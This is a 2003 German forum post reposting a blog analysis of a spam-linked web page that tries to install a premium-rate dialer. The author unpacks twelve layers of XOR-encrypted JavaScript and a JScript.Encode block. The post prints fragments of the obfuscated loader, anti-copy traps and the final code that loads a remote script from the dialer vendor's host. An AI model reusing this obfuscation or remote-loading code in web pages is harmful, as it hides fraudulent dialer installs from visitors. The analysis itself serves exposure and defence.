Forenindex » Web allgemein » Kampf gegen Spam und Terror im Internet » Hacks & Cracks-Einblicke

Hacks & Cracks-Einblicke

WolfJack
Beiträge gesamt: 2852

13. Jul 2003, 11:49
Bewertung:

gelesen: 845

Beitrag als Lesezeichen
http://www.konsumboykott.de/print.php?sid=84

Hier habe ich eine sehr interessante Analyse von codierten Spam-Mails gefunden.
Kopie nachstehend, aber im Web besser lesbar.

Neue Spamattacke lockt auf gecryptete Dialerseite
Datum Samstag, 24. Mai 2003 um 04:55 Uhr
Topics Spammer


Heute habe ich beim nachrecherchieren der erfreulicherweise sinkenden Anzahl Spammails in meinem Postfach etwas ungewöhnliches gefunden.

Eine Mail von einem "micha" verweist mich auf augenscheinlich auf eine Seite bei "angelfire". Natürlich war das ein Fake und der Link führt auf die zum Allgemeinärgernis gewordenen, ausländischen Tripod-Pages.

Diese Seiten sind gegen Spammer und Missbrauch genausgut geschützt wie ein offener Mercedes Roadster mit steckendem Schlüssel und laufendem Motor im Gallusviertel, Fankfurt



Interessant wird es allerdings, wenn man dem Link folgt...
...die Zielseite versucht natürlich erstmal wieder einen dieser scheiß Dialer zu installieren - so weit so gut.



Schaut man sich jetzt aber den Seitenquelltext an, erlebt man eine Überraschung.

Auszugsweise möchte ich den Quelltext hier einmal abbilden:






<html>
<script language = "JavaScript">
var x = '';x+='%3Cscript%20language%20%3D%20%22JavaScript%22%3Efunction%20d%20%28t%2C%20k%29%20%7B%20var%20y%20%3D%200%3B%20var%20r%20%3D%20%27%27%3B%20t%20%3D%20unescape%20%28t%29%3B%20for%20%28i%20%3D%200%3B%20i%20%3C%20t%2Elength%3B%20i%2B%2B%29%20%7B%20x%20%3D%20k%2EcharCodeAt%28y%29%3B%20x2%20%3D%20t%2EcharCo';x+='deAt%28i%29%3B%20if%20%28x%20%21%3D%20x2%29%20%7B%20r%20%3D%20r%20%2B%20String%2EfromCharCode%20%28x2%20%5E%20x%29%3B%20%7D%20else%20%7B%20r%20%3D%20r%20%2B%20String%2EfromCharCode%20%28x%29%3B%20%7D%20y%2B%2B%3B%20if%20%28y%20%3D%3D%20k%2Elength%29%20%7B%20y%20%3D%200%3B%20%7D%20%7D%20return%20%...

So geht das etwa 24Kbyte. Das hat meine Neugier geweckt. Bei der ersten Analyse erkennt man Fragmente von Javascript und %-Zeichen. Das deutet auf eine oberflächliche URL-Kodierung hin.

Aus diesem Grund ahbe ich zunächst einmal das Tool URLencoded HTML Decrypter verwendet, um mir einen ersten Überblick zu verschaffen.

Das Ergebnis sieht dann so aus:






<html>
<script language = "JavaScript">
var x = '';x+='<script language = "JavaScript">function d (t, k) { var y = 0; var r = ''; t = unescape (t); for (i = 0; i < t.length; i++) { x = k.charCodeAt(y); x2 = t.charCo';x+='deAt(i); if (x != x2) { r = r + String.fromCharCode (x2 ^ x); } else { r = r + String.fromCharCode (x); } y++; if (y == k.length) { y = 0; } } return (e';x+='scape (r)); }function o8hb4qcdj5l2 (w, k) { document.write (unescape (d (w, k))); }var k='2528340725';</script>';document.write (unescape (x));o8hb4qcdj5l2('....

Die Analyse zeigt, das es sich um einen simplen Dekodieralgorithmus handelt. Ersetzt man das "document.write" durch "alert", kriegt man den dekodierten Quellcode angezeigt.

Anders als ich erwartet habe, ist das dann jedoch kein HTML sondern nochmals JavaScript.

Diesmal ein etwas komplexerer Algorithmus, der eine Prüfsumme (Dateilänge) misst und im Fehlerfall als Dekodierschlüssel eine Zufallszahl heranzieht - das Ergebnis ist völliger Schrott. Glücklicherweise steht aber im "if"-Block auch der Positivschlüssel - also ist alles was ich machen muss, mittels ".replace" den Zufallsgenerator durch den Schlüssel zuersetzen und das "document.write" auch hier wieder durch ein "alert" zu ersetzen.

Pustekuchen! Das Ding ist nochmal verschlüsselt... Selbes Schema, selber Algorithmus, aber anderer Schlüssel.



Eine Strategie musste her, da ich zunächst nicht genau wusste mit was ich es zu tun habe - ich konnte also nicht im Netz suchen.

Ich habe mich dazu entschlossen, die Decrypt-Routine zu verwenden, die gleich am Anfang sichtbar wurde und immer weiter verwendet wird. Hier klinke ich mich ein und hebel jede Verschlüsselungsstufe aus.

Insgesamt waren es dann 12(!) Stufen.






// Dekodierten String puffern

qx = r;

// Der Crypter hat eine Falle: Stimmt die File-Checksum nicht, wird mittels Zufallszahlen dekodiert.
// Aushebeln nur möglich, durch austauchen des Zufallszahlenblocks mit dem Freigabeblock.
// Es existieren immer 2 Fallen!

// 2. Cryptlauf

qx = qx.replace("h2528340725=Math.round(Math.random()*99999999);","h2528340725=1228048154;"); // Key 2
qx = qx.replace("h2528340725=Math.round(Math.random()*99999999);","h2528340725=1228048154;");

// 3. Cryptlauf
qx = qx.replace("h1138338693=Math.round(Math.random()*99999999);","h1138338693=2612935192;"); // Key 3
qx = qx.replace("h1138338693=Math.round(Math.random()*99999999);","h1138338693=2612935192;");

// 4. Cryptlauf
qx = qx.replace("h2535535250=Math.round(Math.random()*99999999);","h2535535250=1538071684;"); // Key 4
qx = qx.replace("h2535535250=Math.round(Math.random()*99999999);","h2535535250=1538071684;");

// 5. Cryptlauf
qx = qx.replace("h1528109302=Math.round(Math.random()*99999999);","h1528109302=2125339314;"); // Key 5
qx = qx.replace("h1528109302=Math.round(Math.random()*99999999);","h1528109302=2125339314;");

// 6. Cryptlauf
qx = qx.replace("h2053181547=Math.round(Math.random()*99999999);","h2053181547=190007922;"); // Key 6
qx = qx.replace("h2053181547=Math.round(Math.random()*99999999);","h2053181547=190007922;");

// 7. Cryptlauf
qx = qx.replace("h140792254=Math.round(Math.random()*99999999);","h140792254=281191945;"); // Key 7
qx = qx.replace("h140792254=Math.round(Math.random()*99999999);","h140792254=281191945;");

// 8. Cryptlauf
qx = qx.replace("h245456702=Math.round(Math.random()*99999999);","h245456702=139890326;"); // Key 8
qx = qx.replace("h245456702=Math.round(Math.random()*99999999);","h245456702=139890326;");

// 9. Cryptlauf
qx = qx.replace("h86280865=Math.round(Math.random()*99999999);","h86280865=820212850;"); // Key 9
qx = qx.replace("h86280865=Math.round(Math.random()*99999999);","h86280865=820212850;");

// 10. Cryptlauf
qx = qx.replace("h730220706=Math.round(Math.random()*99999999);","h730220706=1330376931;"); // Key 10
qx = qx.replace("h730220706=Math.round(Math.random()*99999999);","h730220706=1330376931;");

// 11. Cryptlauf
qx = qx.replace("h1295264009=Math.round(Math.random()*99999999);","h1295264009=1166211337;"); // Key 11
qx = qx.replace("h1295264009=Math.round(Math.random()*99999999);","h1295264009=1166211337;");

// 12. Cryptlauf
qx = qx.replace("h1123710635=Math.round(Math.random()*99999999);","h1123710635=2594638013;"); // Key 12
qx = qx.replace("h1123710635=Math.round(Math.random()*99999999);","h1123710635=2594638013;");

// Falle 1: Wenn der Referrer mit "file://" beginnt, verweist das Script auf "about:blank"
// Aushebeln...
qx = qx.replace("location=\"about:blank\";","");
qx = qx.replace("location=\"about:blank\";","");
qx = qx.replace("location=\"about:blank\";","");
qx = qx.replace("location=\"about:blank\";","");
qx = qx.replace("location=\"about:blank\";","");

// Falle 2: Alle Versuche etwas anzuklicken und zu selektieren schlagen fehl
// Aushebeln
qx = qx.replace("return false","");
qx = qx.replace("return false","");
qx = qx.replace("return false","");
qx = qx.replace("return false","");

// Ausgabe der dekodierten Inhalte (Sicherheitshalber auskommentieren im Textarea und escapen)
document.write("<textarea>"+escape(qx)+"</textarea>");

// Ersetzen des einfachen "document.write(d(w,k))" durch "alert, document.write" um zunächst den dekodierten
// Text lesen zu können
qx = qx.replace("document.write(unescape(d(w,k)));","alert(unescape(d(w,k)));document.write(unescape(d(w,k)));");

// Zurück escapen (wird jeweils erwartet!)
qx = escape(qx);

Danach kommt dann HTML. Dieses HTML lasse ich mir "url-encoded" in eine "<textarea>" schreiben.

Leider gab es beim ersten Versuch Probleme: Ich konnte den Inhalt des Textfeldes nicht markieren und nicht kopieren. Ein JavaScript hat das geblockt.

Also wieder ein ".replace" eingebaut und weiter gings...

Nun schaue ich mir den Quellcode nach der Wandlung durch ein simples PHP-Script an.






<script language = "JavaScript">if(window.location.protocol.indexOf("file")!=-1){location="about:blank";}function _nn(){if(document.layers||window.sidebar){ var t= document.getSelection(); if(t !=""){ if(!window.find){ alert("Function Disabled."); }else{ if(t !=" "){ window.find(" ") }; } }; setTimeout("_nn()",20) } } _nn(); function _nrcie(){return false}function _nrcns(e){if(e.which==2||e.which==3)}if(document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown=_nrcns} document.oncontextmenu=_nrcie; function _np1(){for(wi=0;wi<document.all.length;wi ){ if(document.all[wi].style.visibility!="hidden"){ document.all[wi].style.visibility="hidden";document.all[wi].id="gwp" } } }; function _np2(){ for (wi=0;wi<document.all.length;wi ){ if(document.all[wi].id=="gwp")document.all[wi].style.visibility=""} }; window.onbeforeprint=_np1;window.onafterprint=_np2; function _ng(){ if (document.all) for (i = 0;i< document.images.length;i ){ z = document.images(i);z.galleryImg = "no" } }_ng(); function _nsb(){ window.status=""; document.execCommand("Unselect"); try { document.execCommand("Copy");} catch (e) {} finally {}; setTimeout("_nsb()",1)} _nsb();</script><html>...

Auch hier wieder Überraschungen:

Startet man das File durch Doppelklick, landet man auf "about:blank". Ein JavaScript checkt das Protokoll des Referrers. Ist es "file://" wird automatisch auf "about:blank" verwiesen.






if(window.location.protocol.indexOf("file")!=-1){location="about:blank";}

Das lässt sich ja leicht aushebeln - aber die nächste Überraschung steht an:

Ein gecryptetes JavaScript ist eingebettet "JScript.Encode". Das muss der Kernpunkt sein. Denn nirgendwo anders ist ein Verweis auf den Dialer zu finden gewesen. Offenbar wollte der Urheber alles nur erdenkliche unternehmen, um die Herkunft des Dialers zu verschleiern.






<script language="JScript.Encode">#@~^GwMAAA==@#@&\CMP: 6DP{E]2ZdmMk2Ou !^CxTElTnY&G]y Bl-CUm.kaO]y YfA]!9YZb-lMYy!.0u !u&GY ZNGm!:nUDRDW MD M OWdWS .ZCd] %u ,u&$YZf]T)7l.]yT9kn!D^] Z]29]y![W1Ehn YR`]ScYWdGA MZm/n] 0u 1]2$]ZfYTz\l.Yy!2lMOk] Z]2f]y!Mn0c/2VbYY R] ydk9]&GY u O]fAYTG]TbbW]y!Y Rwl.OkRs LDtYy!u&fu&GY ZFY O] T7lDu !alDDdY Z]2fY T[b ;D^ /aVrOu %Y y/rNufG] y]y,]2AuTfu!)k6] Tu %aCDD/R^nUoDtu T]f9u&9]yTFu 1Yy!lsnMYY ZYy%YyGw t^ M4l6YnDu T3bx4m;]y!NdY ZD8 2CMYU MRZKNndu FY F] ...

Aber auch hier gibt es Abhilfe. Nach einigen Recherchen habe ich herausgefunden, das diese Kodierung mit einem Tool namens "Microsoft Script Encoder" erreicht wird. Die Suche nach einem Decrypter war erfolgreich (Achtung: .NET-Framework erforderlich. Funktioniert nur bei eigener Kompilierung und dem Umkopieren einer DLL) und ich konnte mir den Inhalt des Blockes ansehen:






var Text ="<script language="JavaScript">
var ref = document.referrer.toLowerCase();
var dieurl = document.URL.toLow2rCase();
var parts = ref.split("sid=");
if (parts.length == 1){var parts = dieurl.split("sid=");
if (parts.length == 1) alert ('Fehlerhafter Einbau des Werbepartner-Codes!');
else document.write ("<script language=\"JavaScript\" src=\"http://www.movieplugin.com/.../webmaster.php?sid=" + parts[1] + "\"><\/script>");

</script>";
function DeCode() { var NewText; NewText = unescape(Text); document.write(NewText);} DeCode();

Fazit: Der Dialer stammt von dem Unternehmen "movieplug.com", das großspurig für seine tollen Ausschüttungen wirbt - auch in Deutschland. Das Unternehmen schüttet wöchentlich aus (steht zumindest da) - also ist jeder gewonnene Tag durch Verschleierung bares Geld

Es bleibt zu hoffen, dass dieses Subjekt erwischt und abgeurteilt wird - denn der Urheber der Mails kommt aus dem deutschen Raum. Das US-Unternehmen wird auf Grund der mangelhaften Rechtslage nicht als Mitstörer belangt werden können.
Fazit: Spams zu versenden ist gefährlich. Das kann sehr teuer werden. Wer die Originalmail und die HTML-Datei zum "Selberhacken" haben möchte, kann sich melden.

Die Kampagne läuft nach ähnlichem Schema (tripod-Account, kodierte Zielseite) erst richtig an. Wahrscheinlich wird sie zur gleichen Seuche wie die Netmails-Kampagne. Es bleibt nur eins: Alle ausländischen Tripod-Server auf die Blacklist setzen. Ein Tutorial dazu ist geplant (für Windows)

Der Beitrag kommt von http://www.konsumboykott.de
http://www.konsumboykott.de/

Die URL für diesen Beitrag lautet:
http://www.konsumboykott.de/...e=article&sid=84


---
mfG WolfJack
http://www.webdesignausberlin.de
http://www.eierschale-berlin.de
http://www.webdesignausberlin.de/forum/index.php
---
ICQ 158358544